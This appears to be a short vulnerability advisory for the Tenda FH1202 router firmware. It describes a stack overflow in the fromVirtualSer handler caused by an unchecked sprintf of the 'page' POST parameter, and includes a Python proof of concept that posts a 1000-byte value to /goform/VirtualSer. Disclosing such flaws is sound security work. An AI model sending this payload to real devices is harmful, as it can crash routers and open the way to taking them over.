Overview

• Firmware download website: https://www.tenda.com.cn/download/detail-2079.html

Affected version

FH1202 V1.2.0.14(408)

Vulnerability details

The Tenda FH1202 V1.2.0.14(408) firmware has a stack overflow vulnerability located in the fromVirtualSer function. This function accepts the page parameter from a POST request. The statement sprintf(v5, "nat_virtualser.asp?page=%s", v3); leads to a buffer overflow. The user-supplied page can exceed the capacity of the v5 array, thus triggering this security vulnerability.

POC

import requests

ip = "192.168.84.101"
url = "http://" + ip + "/goform/VirtualSer"
payload = b"a"*1000

data = {"page": payload}
response = requests.post(url, data=data)
print(response.text)